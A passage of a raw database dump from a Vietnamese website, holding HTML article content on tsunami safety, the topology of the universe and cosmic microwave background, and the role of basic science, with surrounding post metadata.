phổ biến (xem dưới đây) hay các lộ trình thoát khỏi vùng bờ biển bị sóng thần ập vào ở Mỹ là những biện pháp tích cực nhằm giảm thiểu các tác hại do sóng thần gây ra.</div> <div> </div> <div> <strong>Các hướng dẫn những điều phải làm sau cảnh báo sóng thần đầu tiên</strong></div> <div> </div> <div> 1. Rời ngay khỏi bờ biển và trú ẩn ở một nơi an toàn khi cảm thấy một chấn động mạnh hay một chấn động yếu, chậm nhưng kéo dài.</div> <div> 2. Rời ngay khỏi bờ biển và trú ẩn ở một nơi an toàn khi có thông báo sóng thần.</div> <div> 3. Tìm thông tin đúng đắn từ truyền hình, truyền thanh hay internet.</div> <div> 4. Đừng đến bờ biển để tắm hay câu cá khi có khuyến cáo về sóng thần hay khi một cảnh báo về sóng thần đã được phát ra.</div> <div> 5. Đừng mất cảnh giác cho đến khi cảnh báo được bãi bỏ vì sóng thần có thể lặp đi lặp lại.</div> <div> </div> <div> (Cơ quan Khí tượng Nhật Bản)</div> ', 'images' => '20160620083507a5aa65ff774a341ce7bd82defce3cfd6.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-20', 'modified' => '2025-08-18', 'status' => '1', 'view' => '70070', 'slug' => 'dong-dat-va-song-than-nguon-nang-luong-huy-diet', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '717', 'rght' => '718', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 3 => array( 'Post' => array( 'id' => '413', 'name' => 'Topo của vũ trụ', 'code' => null, 'alias' => 'topo-cua-vu-tru', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Vấn đề nghiên cứu topo của vũ trụ đang gây chú ý của nhiều nhà vũ trụ học. Nhiều vũ trụ xét về mặt hình học là một vũ trụ vô hạn (infinite) song nếu chú ý đến topo (tức đến toàn cục) thì lại là một vũ trụ hữu hạn (finite). Nhiều quan sát CMB (Cosmic Microwave Background- Bức xạ Phông Vũ trụ) cũng được chính xác hóa thêm nhờ những chi tiết phát sinh từ những hệ quả topo. Bài viết này nhằm mục đích giới thiệu trong vài nét tổng quát ảnh hưởng của topo đến vũ trụ học.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (5).jpg" style="width: 227px; height: 142px;" /></div> <div> <br /> <strong>Topo (topology) là gì?</strong></div> <div> </div> <div> Topo là môn học nghiên cứu hình dạng của một không gian về các mặt cơ bản nhất đó là tính liên thông (connectedness), tính liên tục (continuity) và các biên (boundary). Những tính này bất biến đối với các phép biến đổi liên tục gồm các biến đổi như kéo dài, uốn cong mà không bao gồm các biến đổi như xé rách (tearing) hoặc dán dính (gluing).</div> <div> </div> <div> Xem hình 1 ta thấy một cái cốc, một hình xuyến và một hình xuyến xoắn là tương đương topo với nhau. <br /> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%20CC1.jpg" /></div> <div> </div> <div> Hình 1. Cái cốc, hình xuyến và hình xuyến xoắn là tương đương topo với nhau.</div> <div> </div> <div> Quả thật như vậy chỉ cần các phép kéo dài và uốn cong ta có thể biến một hình xuyến thành một cái cốc (xem hình 2).</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%20CC2.jpg" /></div> <div> </div> <div> Hình 2. Biến một hình xuyến thành cái cốc nhờ các phép biến đổi liên tục topo</div> <div> </div> <div> <strong>Hình học và topo</strong></div> <div> </div> <div> Cần phân biệt hình học (độ cong phẳng, dương hay âm?) và topo (dạng như thế nào, liên thông như thế nào?). Xét về mặt hình học có thể tồn tại 3 loại vũ trụ: vũ trụ phẳng (Euclidean, độ cong bằng không), vũ trụ cầu (đóng, hữu hạn và độ cong dương) và vũ trụ hyperbolic (mở, vô tận và độ cong âm), xem hình 3.</div> <div> </div> <div> Khi nói đến độ cong âm người ta thường nghĩ đến một không gian vô hạn. Song có thể có nhiều độ cong trong một topo, ví dụ một hình xuyến (torus) có độ cong âm ở mặt trong (inside edge) mặc dầu nó là một topo hữu hạn (finite).</div> <div> </div> <div> Thuyết tương đối tổng quát (với các phương trình Einstein vốn là những phương trình vi phân ) chỉ nói lên được tính định xứ (local) mà không thể xác định được tính toàn cục (global) tức topo của vũ trụ. Thuyết tương đối tổng quát không bất biến đối với các biến đổi đồng phôi (homeomorphism-xem chú thích) mà chỉ bất biến đối với các biến đổi vi phôi (diffeomorphism) tức các biến đổi tọa độ.</div> <div> </div> <div> Với một vũ trụ đồng nhất và đẳng hướng ta có lời giải là metric Friedmann-Lemaitre-Robertson-Walker (FLRW):</div> <div> </div> <div> ds2=gµvdxµdxv=-dt2+a2(η)[ dr2 + r2 (dθ2 + sin2θdΦ2)] </div> <div> 1 - kr2</div> <div> </div> <div> trong đó a = thừa số kích thước của vũ trụ, độ cong k =0,+1,-1 tương ứng với độ cong bằng không, độ cong dương và độ cong âm (xem hình vẽ 3).</div> <div> </div> <div> Giữa bán kính độ cong R và mật độ trung bình của vật chất trong vũ trụ có mối quan hệ R = a/|k|1/2 = 1/H|Ω-1|1/2, trong đó H = số Hubble, Ω = ρ/ρc còn ρc là mật độ ứng với vũ trụ phẳng. Ta có các vũ trụ với độ cong bằng không, độ cong dương và độ cong âm tương ứng với các mật độ Ω = 1, >1 và <1.</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%20CC3.jpg" /></div> <div> </div> <div> Hình 3 . Từ trái sang phải: độ cong phẳng, độ cong dương và độ cong âm </div> <div> </div> <div> Một yếu tố metric định xứ cho trước có thể tương ứng với một tập lớn mô hình vũ trụ khác nhau về mặt topo.</div> <div> </div> <div> Tồn tại vô số (đếm được) những dạng không gian với độ cong dương, tất cả đều là những không gian đóng và vô số không gian với độ cong âm trong đó một số là không gian đóng (hữu hạn) một số là không gian mở (vô tận). </div> <div> </div> <div> Thuyết tương đối mô tả một hình xuyến và một mặt phẳng với cùng những phương trình như nhau mặc dầu hình xuyến là hữu hạn trong khi mặt phẳng là vô hạn. Để xác định topo của vũ trụ cần những hiểu biết vật lý nằm ngoài lý thuyết tương đối (như CMB - Cosmic Microwave Background - Bức xạ Phông của Vũ trụ).</div> <div> </div> <div> Hãy hình dung một buồng gương, đó là cái phòng với 6 bức tường (gồm cả trần và nền) là gương. Nếu chúng ta vào một phòng như thế với vài ngọn nến thì vì hệ quả phản chiếu trên các tường bằng gương chúng ta có cảm giác lọt vào một không gian vô tận.</div> <div> </div> <div> Giống như trong một buồng gương (xem hình 4) sự vô tận của vũ trụ có thể chỉ là một ảo tưởng. Vũ trụ có thể hữu hạn trong thực tế. Ảo tưởng vô tận phát sinh từ hiện tượng tia sáng thực hiện một quỹ đạo chạy quanh không gian nhiều lần (khi vũ trụ là hữu hạn) và như thế tạo nên hình ảnh đa bội của từng thiên hà. </div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%20CC4.jpg" /></div> <div> </div> <div> Hình 4 . Buồng gương gây hệ quả vô tận của một đối tượng hữu hạn</div> <div> </div> <div> Nếu trong buồng kính ta có 3 quả bóng thì bức tranh tạo nên là hình ảnh của vô số quả bóng như trong hình 5.</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%20CC5.jpg" /></div> <div> </div> <div> Hình 5. Ba quả bóng trong buồng kính tạo nên hình ảnh vô số quả bóng</div> <div> </div> <div> Buồng gương là hình tượng của một vũ trụ hữu hạn nhưng cho ảo tưởng vô tận. Lẽ dĩ nhiên vũ trụ không có biên để phản xạ ánh sáng song thay vì bị phản xạ như trong buồng gương thì ánh sáng có thể đi vòng quanh vũ trụ nhiều lần. Từ bức tranh các hình ảnh đa bội lặp lại người ta có thể suy ra kích thước và hình dáng thật sự của vũ trụ, tức xác định topo của vũ trụ.</div> <div> </div> <div> <strong>Tạo một hình </strong></div> <div> </div> <div> Topo có thể giúp ta tạo một hình xuyến (hoặc một dải Moebius) từ một mảnh phẳng của không thời gian bằng cách đồng nhất các đường mép (edge) đối diện của mảnh phẳng này (xem hình 6).</div> <div> </div> <div> Nói chung người ta biểu diễn một hình như phần trong của một đa diện (polyhedron) với các mặt đối nhau được đồng nhất từng đôi một.</div> <div> </div> <div> Trên hình 6 ta thấy nếu dán 2 mép của một hình vuông ta có một hình trụ, nếu dán các mép (tức đồng nhất các mép a với a, b với b) của một hình vuông ta có một hình xuyến, nếu dán các mép của hình bát giác (đồng nhất a với a, b với b, c với c,…) ta có một hình xuyến với 2 lỗ. Ta gọi số lỗ là genus vậy ví dụ hình xuyến 2 lỗ có genus = 2.</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%206.jpg" /></div> <div> </div> <div> Hình 6. Tạo hình trụ, các hình xuyến 1 lỗ và 2 lỗ bằng cách dán các mép đối nhau (tức đồng nhất các mép)</div> <div> </div> <div> Chú ý hình xuyến S1x S1 có được nhờ đồng nhất các mép đối diện của một hình vuông là một không gian phẳng trong khi hình xuyến thông thường là không gian không phẳng. Song về mặt topo 2 hình xuyến này là tương đương. </div> <div> </div> <div> Hình trụ, hình xuyến một lỗ, hai lỗ là những không gian topo đa liên thông (multiplyconnected). Trong hình 7 ta có một topo đơn liên thông (cột một) và hai topo đa liên thông (cột 2 và 3).</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%207.jpg" /></div> <div> </div> <div> Hình 7. Đây là vài ví dụ của những đa tạp đồng phôi (homeomorphic) , những con số ở hàng dưới là số lỗ trong topo của chúng </div> <div> </div> <div> Phần trong của một đa diện 10 mặt ngũ giác mà từng đôi các mặt ngũ giác được đồng nhất với nhau sẽ là một không gian đóng với độ cong âm (compact hyperbolic space). </div> <div> </div> <div> Vậy vấn đề nghiên cứu topo vũ trụ là nằm trong những câu hỏi sau đây.</div> <div> </div> <div> Vũ trụ đóng hay mở? Vũ trụ có lỗ (hay tay quai-handle) không? Vũ trụ là liên thông hay đa liên thông? Những câu hỏi topo này thường bị bỏ quên bởi những nhà vũ trụ học. Trong một mô hình đầy đủ phải kể đến những câu hỏi topo này. Vũ trụ thực sự là sân khấu của những ảo tưởng quang học khổng lồ phát sinh vì những hiệu ứng thấu kính topo (topological lens).</div> <div> </div> <div> Nghiên cứu vũ trụ ta phải chú ý hai mặt: hình học và topo. Về mặt hình học ta có: không gian Euclide (độ cong bằng không), không gian cầu (độ cong dương) và không gian hyperbolic (độ cong âm). </div> <div> </div> <div> Không gian cầu trong mọi trường hợp là hữu hạn. Đối với hai loại không gian còn lại thì tính hữu hạn hoặc vô tận lại phụ thuộc vào topo. Nếu là topo đơn liên thông (simply-connected) thì chúng vô tận.</div> <div> </div> <div> Song đối với topo đa liên thông (như hình xuyến với một lỗ hay hai lỗ) thì chúng ta có khả năng xét những mô hình vũ trụ trong đó không gian là hữu hạn bất kể độ cong là như thế nào ngay cả lúc mật độ vật chất và hằng số vũ trụ là rất thấp (mà nếu chỉ xét hình học thì ta phải có không gian phẳng hoặc hyperbolic vô tận).</div> <div> </div> <div> Như vậy một không gian với độ cong âm có thể là hữu hạn nếu topo là đa liên thông.</div> <div> </div> <div> <strong>Một vài chi tiết toán học</strong></div> <div> </div> <div> Trong khuôn khổ của vũ trụ học chuẩn thì vũ trụ được mô tả bởi một đa tạp không thời gian M4 = RxM cộng với metric FLRW. Trong đó M = E3 (Euclidean), S3 (cầu) hoặc H3 (không gian hyperbolic có hình một cái yên ngựa). Điều này thường dẫn đến một sự hiểu nhầm: độ cong của M là tất cả điều gì cần thiết để xác định xem không gian 3 chiều là hữu hạn (finite) hay vô hạn (infinite). Bởi vì không gian M có thể chỉ là một trong những đa tạp thương (quotient manifold) khả dĩ. </div> <div> </div> <div> M= Mc / G</div> <div> </div> <div> Trong đó Mc = (E3,S3,H3) là không gian gọi là không gian phủ tổng quát (universal covering). Không gian M là không gian đa liên thông. Phép G cho phép phủ Mc bằng những tế bào gọi là đa diện cơ bản (fundamental polyhedron-FP) và thực hiện những phép tịnh tiến gắn liền với việc đồng nhất các mép (xem hình 8).</div> <div> </div> <div> Ví dụ hình xuyến T2=E2/G trong đó FP=là một hình chữ nhật với các mép đồng nhất như trên hình vẽ số 6.</div> <div> </div> <div> Trong một không gian đa liên thông bất kỳ hai điểm nào cũng có thể được nối liền bởi nhiều hơn một đường trắc địa và hệ quả trong một vũ trụ hữu hạn ánh sáng từ một đối tượng có thể đến với một quan sát viên theo nhiều quỹ đạo khác nhau – và như thế trên bầu trời ta có nhiều hình ảnh của một nguồn bức xạ.</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%208.jpg" /></div> <div> </div> <div> Hình 8.Cư dân trong FD và trong không gian phủ</div> <div> </div> <div> Ta lát không gian phủ tổng quát (universal covering) với nhiều FD bằng cách đồng nhất các mặt mép.</div> <div> </div> <div> Một cư dân của hình xuyến khi nhìn về phía trước thấy phía sau của mình và nhìn thấy trong không gian phủ tổng quát một mạng các hình ảnh của mình. (xem hình 8).</div> <div> </div> <div> Với những không gian đa liên thông (có một số lỗ ) số lượng N các bản copy của FD trong bức tranh quan sát vũ trụ có thể đánh giá bởi công thức: N=V/VFD. Trong đó V là thể tích của vùng vũ trụ quan sát được còn VFD là thể tích của FD.</div> <div> </div> <div> <strong>Topo và CMB</strong></div> <div> </div> <div> Trong vũ trụ học CMB là bức xạ nhiệt tàn dư từ lúc Big Bang (xem hình 9).</div> <div> </div> <div> CMB có thể giúp chúng ta xác định topo. Một phương pháp để làm việc đó là thực hiện mô hình toán học bằng máy tính của CMB đối với một topo nào đó rồi so sánh với quan trắc vũ trụ.</div> <div> <br /> <img src="http://tiasang.com.vn/Portals/0/2015/Topo%209.jpg" /></div> <div> </div> <div> Hình 9 . Bản đồ Bức xạ Phông Vũ trụ CMB trên bầu trời</div> <div> </div> <div> Tính đa liên thông được khai thác để tìm ra những bất thường trong phổ năng lượng do hệ quả topo. Một điểm bức xạ theo nhiều hướng khác nhau và ánh sáng sau khi đi vòng quanh vũ trụ nhiều lần sẽ đến người quan sát và cho chúng ta nhiều hình ảnh đa bội của điểm bức xạ.</div> <div> </div> <div> Nhiều khía cạnh của CMB có thể bị thay đổi khi topo vũ trụ là đa liên thông (hữu hạn):</div> <div> </div> <div> (1) Topo đa liên thông phá hủy tính đẳng hướng và tính đồng nhất toàn cục, xuất hiện trên CMB một phân bố bất đẳng hướng và bất đồng nhất ứng với các hình ảnh ảo (ghost) của nhiều điểm,</div> <div> </div> <div> (2) Phổ các loại thăng giáng là gián đoạn, điều này phản ánh một không gian hữu hạn (tương tự như trong Cơ học lượng tử thể tích hữu hạn cho phổ năng lượng gián đoạn),</div> <div> </div> <div> (3) Bức tranh các thăng giáng nhiệt độ phản ánh sự xuất hiện lặp lại của những điểm nóng và lạnh do hệ quả thấu kính topo.</div> <div> </div> <div> <strong>Kết luận</strong></div> <div> </div> <div> Topo vũ trụ là một lĩnh vực quan trọng phối hợp các lý thuyết toán học với những định luật vật lý. Chúng ta có khả năng quan sát được topo vũ trụ một cách gián tiếp nhờ quan sát CMB. Hiểu được topo vũ trụ chúng ta có thể nghiên cứu chính xác hơn ảnh hưởng của năng-lượng vật chất lên không thời gian.Trong vũ trụ học hiện đại các nhà khoa học sử dụng toàn diện vật lý, hình học lẫn topo.</div> <div> </div> <div> Dường như kết hợp lý thuyết và quan trắc các nhà vũ trụ học đối diện với hiện tượng một không gian với độ cong âm (mật độ vật chất thấp) lại có thể là hữu hạn về toàn cục và trong trường hợp đó ta phải có một topo đa liên thông. Thiên nhiên vốn kinh hãi cái vô cùng (Nature abhors an infininity).</div> <div> ----------------</div> <div> Tài liệu tham khảo và chú thích</div> <div> </div> <div> [1] Mark Baltovic, The topology of the Universe </div> <div> </div> <div> [2] M.J.Reboucas, G.I.Gomero, Cosmic topology:A brief Overview, Brazilian Journal of Physics, vol.34, no.4A, December,2004 </div> <div> </div> <div> [3] Jean-Pierre Luminet, Is the Universe crumpled?</div> <div> </div> <div> [4] Janna Levin, Topology and the Cosmic Microwave Background,</div> <div> arXiv:gr-qc/0108043v2 20 Aug2001, Physics Reports 365(2002) 251-333</div> <div> </div> <div> [5] Biến đổi đồng phôi là một biến đổi liên tục không chứa phép cắt và dán.</div> ', 'images' => '201606160312445e740f261196151a0b02c7b2fccf6ae6.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-16', 'modified' => '2025-08-18', 'status' => '1', 'view' => '75132', 'slug' => 'topo-cua-vu-tru', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '715', 'rght' => '716', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 4 => array( 'Post' => array( 'id' => '412', 'name' => 'Vai trò của khoa học cơ bản?', 'code' => null, 'alias' => 'vai-tro-cua-khoa-hoc-co-ban', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Hơn 200 năm trước, vào đầu năm 1782, nhà vật lý và triết học người Đức-Christof Lichtenberg đã viết trong nhật kí của mình: </div> <div> “Việc tìm ra một phương thuốc công hiệu tức thời cho những cơn đau răng có thể có giá trị chẳng kém, thậm chí còn nhiều hơn so với việc tìm ra một hành tinh mới…nhưng tôi không thể tìm thấy cách nào để bắt đầu nhật ký năm nay tốt hơn là tin tức về một hành tinh mới.”</div> <div> Hành tinh được đề cập ở đây chính là Sao Thiên Vương, phát hiện ra vào năm 1781. Vấn đề mà Lichtenberg ngụ ý là sự so sánh tương quan về mức độ quan trọng giữa việc tìm kiếm các giải pháp kĩ thuật cho các vấn đề cụ thể so với việc tìm tòi kiến thức cơ bản mới. Ngày nay, nhu cầu đặt ra và xem xét vấn đề ấy thậm chí còn cấp thiết hơn cả 200 năm về trước. <br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (4).jpg" style="width: 227px; height: 167px;" /></div> <div> </div> <div> <strong>1. Nghiên cứu cơ bản đối lập với nghiên cứu ứng dụng</strong></div> <div> <br /> Trong công nghiệp, thuật ngữ “nghiên cứu” thường dùng để chỉ những cải tiến với kĩ thuật đang tồn tại, tuy nhiên việc này với các nhà khoa học hàn lâm đơn thuần chỉ được coi là sự phát triển mới. Khác biệt trong quan niệm về thuật ngữ “nghiên cứu” có thể dẫn đến nhiều hiểu lầm. Trong bài này tôi dùng từ đó theo cách hiểu của các nhà khoa học hàn lâm.</div> <div> Hiểu lầm cũng xuất phát từ những giả thuyết thường gặp có tính thúc đẩy cho lợi ích mà nghiên cứu cơ bản mang lại dựa theo “mô hình tuyến tính”, trong đó nghiên cứu cơ bản kéo theo nghiên cứu ứng dụng, để rồi giúp công nghiệp phát triển và cuối cùng là sản phẩm mới. Tiến trình này đã xảy ra trong nhiều trường hợp, nhưng cũng có thể dễ dàng tìm được các trường hợp, trong đó sự tiến bộ của công nghệ lại là cái dẫn đến những tiến bộ trong nghiên cứu cơ bản, như là George Porter (nhận giải thưởng Nobel Hóa học) – người đã chỉ ra rằng “nhiệt động lực học mắc nợ động cơ hơi nước hơn cả động cơ hơi nước mắc nợ khoa học.”</div> <div> </div> <div> Đáng tiếc là, những trường hợp như vậy khiến một số người ủng hộ một mô hình phản tuyến tính. Ví dụ như Terence Kealey vừa mới viết một cuốn sách1 biện luận rằng sự phát triển kinh tế không chịu ảnh hưởng bất cứ thứ gì từ nghiên cứu cơ bản - và vì vậy nên không cần phải nhận được sự hỗ trợ từ Chính phủ. Ông ta chỉ ra một cách xác thực rằng sự phát triển của năng lượng hơi nước, kĩ thuật luyện kim và nhà máy dệt, các yếu tố nền tảng thúc đẩy sự khởi đầu cuộc cách mạng công nghiệp ở Anh, đều là kết quả của tri thức khoa học và các nguyên tắc cơ khí từ thời trước thế kỷ 17, và chẳng hề chịu ảnh hưởng từ bất kì điều gì đến cuộc cách mạng khoa học thế kỉ 17 (cơ học Newton, tích phân, v.v ). Điều này đúng nhưng nó không đúng với nhiều bước phát triển của công nghiệp sau này, mà tôi hi vọng là những ví dụ tôi đưa ra sau đây sẽ chứng minh được.</div> <div> Vậy nên, mối liên hệ giữa khoa học và công nghệ không phải là tuyến tính mà cũng không phải là phản tuyến tính, mà thực tế là rất phi tuyến tính, và người ta đã từng khẳng định rằng2: “nghiên cứu lịch sử những mô hình thành công đã nhiều lần chỉ ra mật độ các tác động tương hỗ giữa các ngành khoa học cơ bản (vốn ban đầu không liên quan tới nhau), công nghệ, và sản phẩm, tấp nập tới mức không thể tách rời và phân biệt, chúng là tất cả các thành phần đan quện chặt chẽ trong cùng một thực thể”. Tuy vậy có thể khẳng định một sự phân biệt trên diện rộng giữa khoa học (tri thức) và công nghệ (cái được ứng dụng từ tri thức) và giữa các hình thức khác nhau của khoa học.</div> <div> Tôi không thích thuật ngữ khoa học cơ bản và khoa học ứng dụng: xét cho cùng ai có thể nói trước cái gì là sẽ ứng dụng được? Tuy nhiên, những thuật ngữ này có thể hữu dụng nếu chúng được định nghĩa dựa trên động cơ thúc đẩy:</div> <div> Khoa học cơ bản – được thúc đẩy bằng sự ham hiểu biết. </div> <div> Khoa học ứng dụng – dành để trả lời cho những câu hỏi cụ thể.</div> <div> Từ định nghĩa này, về sau tôi sẽ biện luận rằng Chính phủ có một trách nhiệm đặc biệt để hỗ trợ cho nghiên cứu cơ bản, trong khi việc đầu tư nghiên cứu ứng dụng nhìn chung có thể nhường lại cho các doanh nghiệp. </div> <div> Tất nhiên, sự phân biệt đó luôn luôn không rõ ràng và thuật ngữ “nghiên cứu chiến lược” thỉnh thoảng được sử dụng để nói về khoa học như một phạm trù trung gian – cái tạo ra cơ hội cao trong việc tạo ra ứng dụng, cho dù có thể nó được thực hiện thuần túy chỉ để thỏa mãn sự tò mò và qua đó dẫn đến những hiểu biết nền tảng mới. Việc nghiên cứu những đặc tính của chất bán dẫn hai chiều là một ví dụ. </div> <div> </div> <div> <strong>2. Lợi ích của khoa học cơ bản</strong></div> <div> <br /> Có thể phân biệt ra bốn nhóm lợi ích, được đề cập lần lượt như sau:</div> <div> Những đóng góp cho văn hóa.</div> <div> Tiềm năng tạo ra những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn. </div> <div> Những phát hiện ngoài dự kiến (spin-offs) và tác động kích thích nền công nghiệp. </div> <div> Giáo dục.</div> <div> 2.1. Những đóng góp cho văn hóa.</div> <div> Bob Wilson (giám đốc đầu tiên của Fermilab, một phòng thí nghiệm lớn gần Chicago dành cho vật lý hạt/máy gia tốc) khi được một Ủy ban Quốc hội hỏi rằng “Phòng thí nghiệm của anh sẽ đóng góp gì để bảo vệ nước Mỹ?”. Câu trả lời là: “Không gì cả, nhưng nó sẽ làm cho nước Mỹ đáng được bảo vệ”. Tuy nhiên, nhìn chung các nhà khoa học thường e ngại trong những cuộc tranh luận về sự đóng góp của họ đối với văn hóa, xã hội. Hiện tượng này thực ra có từ rất cổ xưa như trong đoạn đối thoại dưới đây trong cuốn Cộng hòa của Plato:</div> <div> Socrates: Chúng ta có nên coi thiên văn học là một chủ đề đáng nghiên cứu? </div> <div> Glaucon: Tôi cho là nên, hiểu biết về mùa màng, về tháng và năm, sẽ hữu ích cho mục đích quân sự, cũng như trong nông nghiệp và hàng hải.</div> <div> Socrates: Tôi thấy thú vị khi thấy ông e ngại như thế nào, vì sợ rằng mọi người sẽ kết tội ông đã đề nghị nghiên cứu những thứ không có ích lợi gì.</div> <div> Tôi cho rằng các nhà khoa học phải đưa ra các luận điểm có sức thuyết phục về sự đóng góp của khoa học trong thúc đẩy văn hóa. Cụ thể như những kiến thức về hệ Mặt trời, mã di truyền, Mặt trời làm việc như thế nào, tại sao bầu trời lại có màu xanh và sự mở rộng của Vũ trụ làm cách nhìn của chúng ta thay đổi, cuộc sống của chúng ta phong phú lên. Chúng ta cần làm cho mọi người thấy việc phổ cập hóa vật lý hạt cơ bản là có ích không chỉ về kinh tế mà còn về văn hóa, từ đó thuyết phục mọi người rằng nên tiếp tục khám phá biên giới này của tri thức. </div> <div> 2.2 Tiềm năng tạo ra những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn.</div> <div> Không quá khó để chỉ ra rằng chi phí cho khoa học cơ bản thường dẫn đến những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn, có khả năng sinh lợi cao và có thể dễ dàng bồi hoàn chi phí đầu tư. Casimir - nhà vật lý lý thuyết nổi tiếng, cựu Giám đốc Nghiên cứu của Philips đã đưa ra một danh sách các ví dụ tuyệt vời3:</div> <div> “Tôi đã được nghe nói rằng vai trò của nghiên cứu hàn lâm trong các cải tiến kỹ thuật là rất ít. Đây là luận điểm ngớ ngẩn nhất trong những điều vô nghĩa nhất mà tôi được biết. Chắc chắn một ai đó suy đoán vẩn vơ rằng liệu tranzito có phải do những người không được đào tạo và không đóng góp gì cho cơ học sóng hay thuyết lượng tử chất rắn tìm thấy. Sự thật là những người phát hiện ra tranzito đều nghiên cứu sâu và có nhiều đóng góp tới thuyết lượng tử chất rắn.</div> <div> Một ai đó có thể hỏi liệu rằng các mạch cơ bản trong máy tính có phải được tìm thấy bởi những người chủ tâm muốn xây dựng máy tính. Đúng là như vậy, chúng đã được phát kiến vào những năm 30 bởi những nhà vật lý muốn đếm các hạt cơ bản bởi vì họ quan tâm đến vật lý hạt nhân.</div> <div> Một ai đó có thể hỏi rằng liệu năng lượng hạt nhân được khám phá bởi vì có những người muốn một nguồn năng lượng mới, hay sự thôi thúc có năng lượng mới đã dẫn đến việc tìm ra hạt nhân. Có thể - nhưng nó đã không xảy ra như vậy.</div> <div> Một ai đó hỏi rằng liệu ngành công nghiệp điện tử có thể tồn tại mà không có những khám phá về electron của những người như Thomson và H.A. Lorentz. Một lần nữa, nó đã không xảy ra như vậy. </div> <div> Tôi nghĩ thật hầu như không có một ví dụ nào của những cải tiến trong thế kỷ 20 mà không mắc nợ khoa học cơ bản.”</div> <div> Những ví dụ của Casimir có một số đặc điểm chung :</div> <div> Những ứng dụng của kiến thức mới có lợi nhuận cao.</div> <div> Những ứng dụng hoàn toàn không được nhìn thấy khi các phát hiện nền tảng được khám phá.</div> <div> Có một khoảng thời gian dài giữa những khám phá nền tảng và những ứng dụng.</div> <div> Nhìn chung các nhà phát minh trong khoa học cơ bản không trở nên giàu có.</div> <div> Đã có một số cố gắng nhằm lượng hóa lợi ích to lớn từ các nghiên cứu nền tảng. Tôi sẽ đề cập 2 ví dụ:</div> <div> 1. Một nghiên cứu gần đây của Tổ chức Khoa học Quốc gia Hoa Kỳ cho thấy rằng 73% các bài báo trích dẫn trong các bằng sáng chế công nghiệp là các nghiên cứu được công bố một cách công cộng, mà phần đông là những bài báo nghiên cứu cơ bản được thực hiện bởi những trường đại học hàng đầu và các phòng thí nghiệm của Chính phủ. 2. Một nghiên cứu có nhiều trích dẫn bởi Mansfield5 vào năm 1991 đã chỉ ra rằng đầu tư của cộng đồng vào khoa học cơ bản có tỉ lệ lợi nhuận là 28%. Con số của Mansfield được lấy ra từ 75 hãng lớn nhất ở Mỹ trong 7 ngành công nghiệp (xử lý thông tin, thiết bị điện, hóa học, dụng cụ, dược phẩm, kim loại và dầu mỏ). Từ ban điều hành nghiên cứu và phát triển của các công 